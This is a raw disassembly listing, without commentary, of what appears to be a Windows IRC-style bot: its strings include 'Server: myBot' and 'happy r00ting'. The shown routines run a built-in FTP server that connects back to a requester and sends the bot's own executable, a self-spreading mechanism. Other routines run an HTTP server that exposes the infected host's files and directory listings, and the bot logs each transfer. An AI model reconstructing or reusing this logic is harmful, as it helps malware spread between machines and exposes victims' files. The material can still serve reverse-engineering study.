		test	eax, eax
		pop	ecx
		jnz	short loc_40E8BB
		push	5
		mov	esi, offset a226TransferCom ; "226 Transfer complete\n"
		pop	ecx
		lea	edi, [ebp+var_C8]
		rep movsd
		movsw
		push	eax
		lea	eax, [ebp+var_C8]
		push	eax
		movsb
		call	sub_418D00
		pop	ecx
		push	eax
		lea	eax, [ebp+var_C8]
		jmp	short loc_40E86A
; ---------------------------------------------------------------------------


loc_40E8BB:				; CODE XREF: sub_40E4A5+3EAj
		lea	eax, [ebp+var_B0]
		push	offset aPort	; "PORT"
		push	eax
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40E98E
		lea	eax, [ebp+var_2D4]
		push	eax
		lea	eax, [ebp+var_FC]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		lea	eax, [ebp+var_2A0]
		push	offset aS_19	; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"...
		push	eax
		call	sub_41CC10
		lea	eax, [ebp+var_FC]
		push	eax
		call	sub_41B3F0
		mov	edi, eax
		lea	eax, [ebp+var_2D4]
		push	eax
		call	sub_41B3F0
		mov	[ebp+var_C], eax
		push	32h
		lea	eax, [ebp+var_FC]
		push	esi
		push	eax
		call	sub_41B190
		push	[ebp+var_C]
		lea	eax, [ebp+var_FC]
		push	edi
		push	offset aXX	; "%x%x\n"
		push	eax
		call	sub_41B740
		add	esp, 44h
		lea	eax, [ebp+var_FC]
		push	10h
		push	esi
		push	eax
		call	sub_41C130
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		lea	eax, [ebp+var_3C]
		push	offset aS_S_S_S	; "%s.%s.%s.%s"
		push	eax
		call	sub_41B740
		add	esp, 24h
		push	esi
		push	1Dh
		push	offset a200PortCommand ; "200 PORT command successful.\n"
		push	[ebp+arg_0]
		call	ebx	; send
		jmp	loc_40E872
; ---------------------------------------------------------------------------


loc_40E98E:				; CODE XREF: sub_40E4A5+42Bj
		lea	eax, [ebp+var_B0]
		push	offset aRetr	; "RETR"
		push	eax
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40EA89
		push	esi
		push	28h
		push	offset a150OpeningBina ; "150 Opening BINARY mode data connection"...
		push	edi
		call	ebx	; send
		push	[ebp+var_C]
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_40EAD9
		pop	ecx
		cmp	eax, 1
		pop	ecx
		jnz	loc_40EA7F
		lea	eax, [ebp+var_3C]
		push	eax
		lea	eax, [ebp+var_8E0]
		push	offset aFtpTransferSta ; "ftp transfer started to: %s"
		push	eax
		call	sub_41B740
		add	esp, 0Ch
		cmp	[ebp+var_444], esi
		jnz	short loc_40EA0E
		push	esi
		lea	eax, [ebp+var_8E0]
		push	[ebp+var_448]
		push	eax
		lea	eax, [ebp+var_4C8]
		push	eax
		push	[ebp+var_6E0]
		call	sub_408EB9
		add	esp, 14h


loc_40EA0E:				; CODE XREF: sub_40E4A5+544j
		call	sub_40EB56
		cmp	eax, 1
		jnz	loc_40EAAB
		push	esi
		push	17h
		push	offset a226TransferC_0 ; "226 Transfer complete.\n"
		push	edi
		call	ebx	; send
		lea	eax, [ebp+var_3C]
		push	eax
		lea	eax, [ebp+var_8E0]
		push	offset aFtpTransferCom ; "ftp transfer complete	to: %s"
		push	eax
		call	sub_41B740
		add	esp, 0Ch
		cmp	[ebp+var_444], esi
		jnz	short loc_40EA6A
		push	esi
		lea	eax, [ebp+var_8E0]
		push	[ebp+var_448]
		push	eax
		lea	eax, [ebp+var_4C8]
		push	eax
		push	[ebp+var_6E0]
		call	sub_408EB9
		add	esp, 14h


loc_40EA6A:				; CODE XREF: sub_40E4A5+5A0j
		lea	eax, [ebp+var_8E0]
		push	eax
		call	sub_41458A
		inc	dword_4E33C0
		pop	ecx
		jmp	short loc_40EAAB
; ---------------------------------------------------------------------------


loc_40EA7F:				; CODE XREF: sub_40E4A5+520j
		push	esi
		push	20h
		push	offset a425CanTOpenDat ; "425 Can't open data connection.\n"
		jmp	short loc_40EAA8
; ---------------------------------------------------------------------------


loc_40EA89:				; CODE XREF: sub_40E4A5+4FEj
		lea	eax, [ebp+var_B0]
		push	offset aQuit_1	; "QUIT"
		push	eax
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40EAAB
		push	esi
		push	1Bh
		push	offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n"


loc_40EAA8:				; CODE XREF: sub_40E4A5+27Cj
					; sub_40E4A5+2A0j ...
		push	edi
		call	ebx	; send


loc_40EAAB:				; CODE XREF: sub_40E4A5+3D0j
					; sub_40E4A5+571j ...
		push	64h
		lea	eax, [ebp+var_2A0]
		push	esi
		push	eax
		call	sub_41B190
		add	esp, 0Ch


loc_40EABD:				; CODE XREF: sub_40E4A5+151j
					; sub_40E4A5+17Aj ...
		inc	edi
		cmp	edi, [ebp+var_4]
		mov	[ebp+arg_0], edi
		jle	loc_40E5C4
		jmp	loc_40E589
; ---------------------------------------------------------------------------


loc_40EACF:				; CODE XREF: sub_40E4A5+10Fj
		push	1
		pop	eax


loc_40EAD2:				; CODE XREF: sub_40E4A5+C1j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_40E4A5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EAD9	proc near		; CODE XREF: sub_40E4A5+516p

var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1A0h
		lea	eax, [ebp+var_1A0]
		push	eax
		push	101h
		call	dword_4F14DC	; WSAStartup
		push	0
		push	1
		push	2
		call	dword_4F150C	; socket
		push	[ebp+arg_0]
		mov	dword_4E3620, eax
		mov	[ebp+var_10], 2
		call	dword_4F14F8	; inet_addr
		push	[ebp+arg_4]
		mov	[ebp+var_C], eax
		call	dword_4F14FC	; htons
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	dword_4E3620
		call	dword_4F1500	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40EB51
		push	dword_4E3620
		call	dword_4F1508	; closesocket
		call	dword_4F14D8	; WSACleanup
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_40EB51:				; CODE XREF: sub_40EAD9+60j
		push	1
		pop	eax
		leave
		retn
sub_40EAD9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EB56	proc near		; CODE XREF: sub_40E4A5:loc_40EA0Ep

var_504		= byte ptr -504h
var_104		= byte ptr -104h

		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	esi
		lea	eax, [ebp+var_104]
		push	104h
		push	eax
		push	0
		call	dword_4F132C	; GetModuleFileNameA
		lea	eax, [ebp+var_104]
		push	offset aRb	; "rb"
		push	eax
		call	sub_41B170
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_40EBED
		test	byte ptr [esi+0Ch], 10h
		jnz	short loc_40EBD1
		push	edi
		mov	edi, 400h


loc_40EB99:				; CODE XREF: sub_40EB56+78j
		push	esi
		push	1
		lea	eax, [ebp+var_504]
		push	edi
		push	eax
		call	sub_41AE60
		add	esp, 10h
		lea	eax, [ebp+var_504]
		push	0
		push	edi
		push	eax
		push	dword_4E3620
		call	dword_4F1510	; send
		push	1
		call	dword_4F1334	; Sleep
		test	byte ptr [esi+0Ch], 10h
		jz	short loc_40EB99
		pop	edi


loc_40EBD1:				; CODE XREF: sub_40EB56+3Bj
		push	esi
		call	sub_418D80
		pop	ecx
		push	dword_4E3620
		call	dword_4F1508	; closesocket
		call	dword_4F14D8	; WSACleanup
		push	1
		pop	eax


loc_40EBED:				; CODE XREF: sub_40EB56+35j
		pop	esi
		leave
		retn
sub_40EB56	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EBF0	proc near		; DATA XREF: sub_401CC1+1DBBo
					; sub_40B1CC+475o

var_28F0	= byte ptr -28F0h
var_18F0	= byte ptr -18F0h
var_8F0		= byte ptr -8F0h
var_6F0		= byte ptr -6F0h
var_5EC		= dword	ptr -5ECh
var_5E8		= byte ptr -5E8h
var_360		= byte ptr -360h
var_25C		= dword	ptr -25Ch
var_254		= dword	ptr -254h
var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= dword	ptr -248h
var_23C		= byte ptr -23Ch
var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_34		= byte ptr -34h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 28F0h
		call	sub_41BC60
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_5EC]
		push	1
		rep movsd
		pop	esi
		xor	ebx, ebx
		mov	[eax+3ACh], esi
		push	10h
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		mov	[ebp+var_14], esi
		call	sub_41B190
		add	esp, 0Ch
		mov	[ebp+var_24], 2
		push	[ebp+var_25C]
		call	dword_4E08A0
		push	ebx
		push	esi
		push	2
		mov	[ebp+var_22], ax
		mov	[ebp+var_20], ebx
		call	dword_4E091C
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_C], edi
		jz	loc_40EFE1
		mov	eax, [ebp+var_254]
		push	10h
		imul	eax, 234h
		mov	dword_4537D4[eax], edi
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	dword_4E08CC
		cmp	eax, 0FFFFFFFFh
		jz	loc_40EFE1
		push	7FFFFFFFh
		push	edi
		call	dword_4E08C8
		cmp	eax, 0FFFFFFFFh
		jz	loc_40EFE1
		lea	eax, [ebp+var_14]
		push	eax
		push	8004667Eh
		push	edi
		call	dword_4E0938
		cmp	eax, 0FFFFFFFFh
		jz	loc_40EFE1
		mov	ebx, esi
		mov	[ebp+var_134], edi
		mov	[ebp+var_138], ebx
		mov	[ebp+var_8], edi


loc_40ECC7:				; CODE XREF: sub_40EBF0+3E7j
		push	41h
		xor	eax, eax
		pop	ecx
		lea	esi, [ebp+var_138]
		push	eax
		push	eax
		push	eax
		lea	eax, [ebp+var_6F0]
		push	eax
		mov	eax, [ebp+var_8]
		lea	edi, [ebp+var_6F0]
		inc	eax
		rep movsd
		push	eax
		call	dword_4E0888
		cmp	eax, 0FFFFFFFFh
		jz	loc_40EFDC
		xor	esi, esi
		mov	[ebp+var_4], esi


loc_40ECFD:				; CODE XREF: sub_40EBF0+3E1j
		lea	eax, [ebp+var_6F0]
		push	eax
		push	esi
		call	dword_4E079C
		test	eax, eax
		jz	loc_40EFC7
		cmp	esi, [ebp+var_C]
		jnz	short loc_40ED7F
		lea	eax, [ebp+var_10]
		mov	[ebp+var_10], 10h
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		push	[ebp+var_C]
		call	dword_4E0930
		cmp	eax, 0FFFFFFFFh
		jz	loc_40EFC7
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_40ED51
		lea	edx, [ebp+var_134]


loc_40ED45:				; CODE XREF: sub_40EBF0+15Fj
		cmp	[edx], eax
		jz	short loc_40ED51
		inc	ecx
		add	edx, 4
		cmp	ecx, ebx
		jb	short loc_40ED45


loc_40ED51:				; CODE XREF: sub_40EBF0+14Dj
					; sub_40EBF0+157j
		cmp	ecx, ebx
		jnz	short loc_40ED6E
		cmp	ebx, 40h
		jnb	short loc_40ED6E
		mov	[ebp+ecx*4+var_134], eax
		mov	ebx, [ebp+var_138]
		inc	ebx
		mov	[ebp+var_138], ebx


loc_40ED6E:				; CODE XREF: sub_40EBF0+163j
					; sub_40EBF0+168j
		cmp	eax, [ebp+var_8]
		jbe	loc_40EFC7
		mov	[ebp+var_8], eax
		jmp	loc_40EFC7
; ---------------------------------------------------------------------------


loc_40ED7F:				; CODE XREF: sub_40EBF0+126j
		mov	edi, 1000h
		lea	eax, [ebp+var_28F0]
		push	edi
		push	0
		push	eax
		call	sub_41B190
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_41B190
		add	esp, 18h
		lea	eax, [ebp+var_28F0]
		push	0
		push	edi
		push	eax
		push	esi
		call	dword_4E08B8
		test	eax, eax
		jg	short loc_40EE12
		push	esi
		call	dword_4E0934
		xor	ecx, ecx
		test	ebx, ebx
		jbe	loc_40EFC7
		lea	eax, [ebp+var_134]


loc_40EDD1:				; CODE XREF: sub_40EBF0+1EBj
		cmp	[eax], esi
		jz	short loc_40EDE2
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_40EDD1
		jmp	loc_40EFC7
; ---------------------------------------------------------------------------


loc_40EDE2:				; CODE XREF: sub_40EBF0+1E3j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_40EE06
		lea	eax, [ebp+ecx*4+var_134]


loc_40EDF0:				; CODE XREF: sub_40EBF0+214j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_40EDF0


loc_40EE06:				; CODE XREF: sub_40EBF0+1F7j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	loc_40EFC7
; ---------------------------------------------------------------------------


loc_40EE12:				; CODE XREF: sub_40EBF0+1C8j
		xor	esi, esi
		push	104h
		lea	eax, [ebp+var_23C]
		push	esi
		push	eax
		call	sub_41B190
		lea	eax, [ebp+var_28F0]
		mov	[ebp+arg_0], esi
		push	eax
		call	sub_418D00
		add	esp, 10h
		test	eax, eax
		jbe	loc_40EFC7


loc_40EE40:				; CODE XREF: sub_40EBF0+30Fj
		mov	eax, [ebp+arg_0]
		mov	al, [ebp+eax+var_28F0]
		cmp	al, 0Ah
		mov	[ebp+esi+var_18F0], al
		jnz	loc_40EEEB
		lea	eax, [ebp+var_18F0]
		push	offset aGet	; "GET "
		push	eax
		call	sub_41B890
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40EEBF
		lea	eax, [ebp+var_18F0]
		push	eax
		call	sub_418D00
		cmp	eax, 5
		pop	ecx
		jbe	short loc_40EEBF
		push	offset asc_44B820 ; " "
		push	offset asc_44B824 ; " "
		lea	eax, [ebp+var_18F0]
		push	offset aGet_0	; "GET "
		push	eax
		call	sub_41B890
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41B890
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41C550
		push	eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_41C300
		add	esp, 10h
		jmp	short loc_40EED6
; ---------------------------------------------------------------------------


loc_40EEBF:				; CODE XREF: sub_40EBF0+27Ej
					; sub_40EBF0+290j
		lea	eax, [ebp+var_18F0]
		push	offset asc_44B830 ; "\r\n"
		push	eax
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40EF0A


loc_40EED6:				; CODE XREF: sub_40EBF0+2CDj
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_41B190
		add	esp, 0Ch
		or	esi, 0FFFFFFFFh


loc_40EEEB:				; CODE XREF: sub_40EBF0+263j
		inc	[ebp+arg_0]
		lea	eax, [ebp+var_28F0]
		push	eax
		inc	esi
		call	sub_418D00
		cmp	[ebp+arg_0], eax
		pop	ecx
		jb	loc_40EE40
		jmp	loc_40EFC7
; ---------------------------------------------------------------------------


loc_40EF0A:				; CODE XREF: sub_40EBF0+2E4j
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_40EF54
		lea	eax, [ebp+var_134]


loc_40EF16:				; CODE XREF: sub_40EBF0+333j
		mov	esi, [ebp+var_4]
		cmp	[eax], esi
		jz	short loc_40EF27
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_40EF16
		jmp	short loc_40EF57
; ---------------------------------------------------------------------------


loc_40EF27:				; CODE XREF: sub_40EBF0+32Bj
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_40EF4B
		lea	eax, [ebp+ecx*4+var_134]


loc_40EF35:				; CODE XREF: sub_40EBF0+359j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_40EF35


loc_40EF4B:				; CODE XREF: sub_40EBF0+33Cj
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	short loc_40EF57
; ---------------------------------------------------------------------------


loc_40EF54:				; CODE XREF: sub_40EBF0+31Ej
		mov	esi, [ebp+var_4]


loc_40EF57:				; CODE XREF: sub_40EBF0+335j
					; sub_40EBF0+362j
		lea	eax, [ebp+var_23C]
		test	eax, eax
		jz	short loc_40EFC0
		lea	eax, [ebp+var_360]
		push	eax
		call	sub_418D00
		mov	edi, eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_418D00
		add	edi, eax
		pop	ecx
		cmp	edi, 104h
		pop	ecx
		jnb	short loc_40EFC0
		and	[ebp+arg_0], 0
		lea	eax, [ebp+arg_0]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_4E0938
		push	[ebp+var_254]
		lea	eax, [ebp+var_23C]
		push	[ebp+var_248]
		push	eax
		lea	eax, [ebp+var_360]
		push	eax
		push	esi
		call	sub_40F1D3
		add	esp, 14h
		jmp	short loc_40EFC7
; ---------------------------------------------------------------------------


loc_40EFC0:				; CODE XREF: sub_40EBF0+36Fj
					; sub_40EBF0+395j
		push	esi
		call	dword_4E0934


loc_40EFC7:				; CODE XREF: sub_40EBF0+11Dj
					; sub_40EBF0+143j ...
		mov	esi, [ebp+var_4]
		inc	esi
		cmp	esi, [ebp+var_8]
		mov	[ebp+var_4], esi
		jbe	loc_40ECFD
		jmp	loc_40ECC7
; ---------------------------------------------------------------------------


loc_40EFDC:				; CODE XREF: sub_40EBF0+102j
		mov	edi, [ebp+var_C]
		xor	ebx, ebx


loc_40EFE1:				; CODE XREF: sub_40EBF0+6Aj
					; sub_40EBF0+92j ...
		call	dword_4E083C
		push	eax
		lea	eax, [ebp+var_8F0]
		push	offset unk_44B834
		push	eax
		call	sub_41B740
		add	esp, 0Ch
		cmp	[ebp+var_24C], ebx
		jnz	short loc_40F027
		push	ebx
		lea	eax, [ebp+var_8F0]
		push	[ebp+var_250]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	eax
		push	[ebp+var_5EC]
		call	sub_408EB9
		add	esp, 14h


loc_40F027:				; CODE XREF: sub_40EBF0+412j
		lea	eax, [ebp+var_8F0]
		push	eax
		call	sub_41458A
		pop	ecx
		push	edi
		call	dword_4E0934
		push	[ebp+var_254]
		call	sub_40AB19
		pop	ecx
		push	ebx
		call	dword_4F1388	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_40EBF0	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F051	proc near		; DATA XREF: sub_40F1D3+246o

var_1654	= byte ptr -1654h
var_654		= byte ptr -654h
var_550		= byte ptr -550h
var_44C		= dword	ptr -44Ch
var_3C8		= byte ptr -3C8h
var_2C4		= byte ptr -2C4h
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_A4		= dword	ptr -0A4h
var_9C		= byte ptr -9Ch
var_68		= byte ptr -68h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1654h
		call	sub_41BC60
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_44C]
		rep movsd
		mov	dword ptr [eax+3ACh], 1
		lea	eax, [ebp+var_3C8]
		push	eax
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_41B740
		lea	eax, [ebp+var_2C4]
		push	eax
		lea	eax, [ebp+var_654]
		push	eax
		call	sub_41B740
		xor	edi, edi
		add	esp, 10h
		cmp	[ebp+var_A4], edi
		jz	short loc_40F0B6
		push	offset aTextHtml ; "text/html"
		jmp	short loc_40F0BB
; ---------------------------------------------------------------------------


loc_40F0B6:				; CODE XREF: sub_40F051+5Cj
		push	offset aApplicationOct ; "application/octet-stream"


loc_40F0BB:				; CODE XREF: sub_40F051+63j
		lea	eax, [ebp+var_9C]
		push	eax
		call	sub_41B740
		pop	ecx
		lea	eax, [ebp+var_68]
		pop	ecx
		mov	esi, 409h
		push	46h
		push	eax
		push	offset aDddDdMmmYyyy ; "ddd, dd	MMM yyyy"
		push	edi
		push	edi
		push	esi
		call	dword_4F13C0	; GetDateFormatA
		lea	eax, [ebp+var_20]
		push	1Eh
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	edi
		push	edi
		push	esi
		call	dword_4F13BC	; GetTimeFormatA
		lea	eax, [ebp+var_20]
		cmp	[ebp+var_B8], 0FFFFFFFFh
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		jnz	short loc_40F134
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_41B740
		add	esp, 24h
		jmp	short loc_40F155
; ---------------------------------------------------------------------------


loc_40F134:				; CODE XREF: sub_40F051+C4j
		push	[ebp+var_B8]
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_41B740
		add	esp, 28h


loc_40F155:				; CODE XREF: sub_40F051+E1j
		lea	eax, [ebp+var_1654]
		push	edi
		push	eax
		call	sub_418D00
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1654]
		push	eax
		push	[ebp+var_44C]
		call	dword_4E08EC
		cmp	[ebp+var_A4], edi
		jnz	short loc_40F195
		lea	eax, [ebp+var_550]
		push	eax
		push	[ebp+var_44C]
		call	sub_40FB05
		pop	ecx
		pop	ecx
		jmp	short loc_40F1B2
; ---------------------------------------------------------------------------


loc_40F195:				; CODE XREF: sub_40F051+12Cj
		lea	eax, [ebp+var_654]
		push	eax
		push	edi
		push	[ebp+var_44C]
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_40F483
		add	esp, 10h


loc_40F1B2:				; CODE XREF: sub_40F051+142j
		push	[ebp+var_44C]
		call	dword_4E0934
		push	[ebp+var_B4]
		call	sub_40AB19
		pop	ecx
		push	edi
		call	dword_4F1388	; ExitThread
		pop	edi
		pop	esi
sub_40F051	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F1D3	proc near		; CODE XREF: sub_40EBF0+3C6p

var_8C4		= byte ptr -8C4h
var_6C4		= dword	ptr -6C4h
var_640		= byte ptr -640h
var_53C		= byte ptr -53Ch
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_31C		= dword	ptr -31Ch
var_318		= dword	ptr -318h
var_314		= byte ptr -314h
var_211		= byte ptr -211h
var_210		= byte ptr -210h
var_10C		= byte ptr -10Ch
var_10B		= byte ptr -10Bh
var_10A		= byte ptr -10Ah
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 8C4h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	104h
		lea	eax, [ebp+var_210]
		push	edi
		push	eax
		mov	[ebp+var_4], edi
		call	sub_41B190
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		cmp	byte ptr [eax],	2Fh
		jz	short loc_40F209
		push	eax
		push	offset aS_20	; "\\%s"
		jmp	short loc_40F212
; ---------------------------------------------------------------------------


loc_40F209:				; CODE XREF: sub_40F1D3+2Cj
		push	eax
		mov	byte ptr [eax],	5Ch
		push	offset aS_21	; "%s"


loc_40F212:				; CODE XREF: sub_40F1D3+34j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41B740
		add	esp, 0Ch
		lea	eax, [ebp+var_10C]
		xor	esi, esi
		xor	ebx, ebx
		push	eax
		call	sub_418D00
		test	eax, eax
		pop	ecx
		jbe	short loc_40F2AD
		mov	[ebp+arg_8], 2


loc_40F23D:				; CODE XREF: sub_40F1D3+D8j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_418D00
		cmp	[ebp+arg_8], eax
		pop	ecx
		jnb	short loc_40F27D
		cmp	[ebp+esi+var_10C], 25h
		jnz	short loc_40F27D
		cmp	[ebp+esi+var_10B], 32h
		jnz	short loc_40F27D
		cmp	[ebp+esi+var_10A], 30h
		jnz	short loc_40F27D
		inc	esi
		mov	[ebp+ebx+var_210], 20h
		inc	esi
		add	[ebp+arg_8], 2
		jmp	short loc_40F297
; ---------------------------------------------------------------------------


loc_40F27D:				; CODE XREF: sub_40F1D3+7Aj
					; sub_40F1D3+84j ...
		mov	al, [ebp+esi+var_10C]
		cmp	al, 2Fh
		jnz	short loc_40F28D
		push	5Ch
		pop	eax
		jmp	short loc_40F290
; ---------------------------------------------------------------------------


loc_40F28D:				; CODE XREF: sub_40F1D3+B3j
		movsx	eax, al


loc_40F290:				; CODE XREF: sub_40F1D3+B8j
		mov	[ebp+ebx+var_210], al


loc_40F297:				; CODE XREF: sub_40F1D3+A8j
		lea	eax, [ebp+var_10C]
		inc	esi
		inc	[ebp+arg_8]
		push	eax
		inc	ebx
		call	sub_418D00
		cmp	esi, eax
		pop	ecx
		jb	short loc_40F23D


loc_40F2AD:				; CODE XREF: sub_40F1D3+61j
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_314]
		push	[ebp+arg_4]
		push	offset aSS_2	; "%s%s"
		push	eax
		call	sub_41B740
		lea	eax, [ebp+var_314]
		push	offset asc_44BA80 ; "\n"
		push	eax
		call	sub_41C550
		add	esp, 18h
		lea	eax, [ebp+var_314]
		push	eax
		call	dword_4F1354	; GetFileAttributesA
		push	1
		cmp	eax, 10h
		pop	esi
		jz	short loc_40F2FB
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40F2FE
		push	[ebp+arg_0]
		jmp	short loc_40F37A
; ---------------------------------------------------------------------------


loc_40F2FB:				; CODE XREF: sub_40F1D3+11Cj
		mov	[ebp+var_4], esi


loc_40F2FE:				; CODE XREF: sub_40F1D3+121j
		cmp	[ebp+ebx+var_211], 5Ch
		jnz	short loc_40F30B
		mov	[ebp+var_4], esi


loc_40F30B:				; CODE XREF: sub_40F1D3+133j
		mov	ebx, [ebp+arg_0]
		cmp	[ebp+var_4], edi
		mov	[ebp+var_6C4], ebx
		mov	[ebp+var_318], edi
		jz	short loc_40F385
		cmp	[ebp+arg_C], edi
		jz	short loc_40F379
		lea	eax, [ebp+var_314]
		push	offset asc_44BA84 ; "*"
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_41B740
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_40FBC2
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_53C]
		push	eax
		call	sub_41B740
		add	esp, 1Ch
		or	[ebp+var_330], 0FFFFFFFFh
		mov	[ebp+var_31C], esi
		jmp	short loc_40F3D4
; ---------------------------------------------------------------------------


loc_40F379:				; CODE XREF: sub_40F1D3+14Fj
		push	ebx


loc_40F37A:				; CODE XREF: sub_40F1D3+126j
		call	dword_4E0934
		jmp	loc_40F47C
; ---------------------------------------------------------------------------


loc_40F385:				; CODE XREF: sub_40F1D3+14Aj
		push	edi
		push	edi
		push	3
		push	edi
		push	esi
		lea	eax, [ebp+var_314]
		push	80000000h
		push	eax
		call	dword_4F13A8	; CreateFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40F3D4
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_41B740
		pop	ecx
		mov	[ebp+var_31C], edi
		pop	ecx
		push	edi
		push	esi
		call	dword_4F13C4	; GetFileSize
		push	esi
		mov	[ebp+var_330], eax
		call	dword_4F1324	; CloseHandle


loc_40F3D4:				; CODE XREF: sub_40F1D3+1A4j
					; sub_40F1D3+1CFj
		mov	esi, [ebp+arg_10]
		lea	eax, [ebp+var_8C4]
		push	esi
		push	offset unk_44BA88
		push	eax
		call	sub_41B740
		push	edi
		lea	eax, [ebp+var_8C4]
		push	3
		push	eax
		call	sub_40A7FD
		mov	[ebp+var_32C], eax
		imul	eax, 234h
		add	esp, 18h
		mov	dword_4537CC[eax], esi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_6C4]
		push	edi
		push	eax
		push	offset sub_40F051
		push	edi
